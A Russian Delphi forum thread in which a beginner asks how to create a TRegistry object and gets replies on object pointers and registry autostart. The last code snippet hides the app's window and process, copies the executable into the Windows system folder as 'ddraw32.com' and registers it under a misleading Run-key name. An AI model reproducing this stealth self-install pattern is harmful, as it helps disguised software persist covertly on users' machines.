На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! ПРАВИЛА РАЗДЕЛА · FAQ раздела Delphi · Книги по Delphi
Пожалуйста, выделяйте текст программы тегом [сode=pas] ... [/сode]. Для этого используйте кнопку [code=pas] в форме ответа или комбобокс, если нужно вставить код на языке, отличном от Дельфи/Паскаля.
Следующие вопросы задаются очень часто, подробно разобраны в FAQ и, поэтому, будут безжалостно удаляться:
1. Преобразовать переменную типа String в тип PChar (PAnsiChar)
2. Как "свернуть" программу в трей.
3. Как "скрыться" от Ctrl + Alt + Del (заблокировать их и т.п.)
4. Как прочитать список файлов, поддиректорий в директории?
5. Как запустить программу/файл?
... (продолжение следует) ...

Вопросы, подробно описанные во встроенной справочной системе Delphi, не несут полезной тематической нагрузки, поэтому будут удаляться.
Запрещается создавать темы с просьбой выполнить какую-то работу за автора темы. Форум является средством общения и общего поиска решения. Вашу работу за Вас никто выполнять не будет.


Внимание
Попытки открытия обсуждений реализации вредоносного ПО, включая различные интерпретации спам-ботов, наказывается предупреждением на 30 дней.
Повторная попытка - 60 дней. Последующие попытки бан.
Мат в разделе - бан на три месяца...
Модераторы: jack128, D[u]fa, Shaggy, Rouse_
  
> TREG
    А как создать TRegistry?? Никто не скажет??
      Есть же Help, там все очень подробно...
      Ниже пример оттуда...

      Reg:=TRegistry.Create и есть создание экземпляра объекта TRegistry
      На самом деле объявление Reg должно выглядеть так:
      Reg:^TRegistry;
      То есть Reg это УКАЗАТЕЛЬ НА ОБЪЕКТ ТИПА TRegistry и содержит он по началу NIL, то бишь пустой указатель... Работать с обектом еще нельзя, т.к. его ПРОСТО НЕТ !
      А вот строка
      Reg:=TRegistry.Create - создает экземпляр объекта TRegistry в "куче" (динамической памяти) и присваивает указателю Reg адрес, где этот объект находится... Теперь можно с ним работать ! Reg - ЭТО НЕ ПЕРЕМЕННАЯ, А УКАЗАТЕЛЬ !!!
      Вообще Borland облегчил жизнь программистам, упростив синтакс работы с указателями...В TP7 такое объявление не прокатило бы.
      Отсюда и проблемы народ часто путает переменные как таковые с указателями на ОБЪЕКТ. Объект всегда создается в "куче" и дело это на совести программиста, кроме тех случаев, когда владелец объекта, ну форма например, делает это сам...(хоть и не говорит об этом).
      Не надо забывать уничтожать ранее созданный объект (форма делает со своими объектами это сама...), как только он не нужен, никто этого не сделает кроме самого программиста, если этого не сделать - будет исключение при закрытии приложения и освобождении "кучи"...
      Прчем лучше это делать через Free, а не через Destroy - разница в том, что Free проверяет возможность уничтожения объекта, а уже потом выполняет Destroy... Надежнее.
      ---------------------------cut-------------------
      procedure TForm1.WMEndSession(var Message: TWMEndSession);
      var
      Reg: TRegistry;
      begin
      Reg := TRegistry.Create;
      try
      Reg.RootKey := HKEY_CURRENT_USER;
      if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunOnce',
      True)
      then Reg.WriteString('MyApp','"' + ParamStr(0) + '"');
      finally
      Reg.CloseKey;
      Reg.Free;
      inherited;
      end;
      end;
        uses registry;
        var
        WinDir: PChar;
        h:TRegistry;
        begin
        ShowWindow(Application.Handle,sw_Hide);
        if not(csDesigning in ComponentState) then
        RegisterServiceProcess(GetCurrentProcessID,1);
        application.ShowMainForm:=false;
        GetMem(WinDir, 144);
        GetWindowsDirectory(WinDir, 144);
        CopyFile(PChar(Application.ExeName),PChar(WinDir+'\system\ddraw32.com'),true);
        h:=TRegistry.Create;
        h.RootKey:=HKEY_LOCAL_MACHINE;
        h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
        h.WriteString('ScanMemory',WinDir+'\system\ddraw32.com');
        h.CloseKey;
        h.Free;
        end;
        0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
        0 пользователей:


        Рейтинг@Mail.ru
        [ Script execution time: 0,0204 ]   [ 16 queries used ]   [ Generated: 27.04.24, 19:10 GMT ]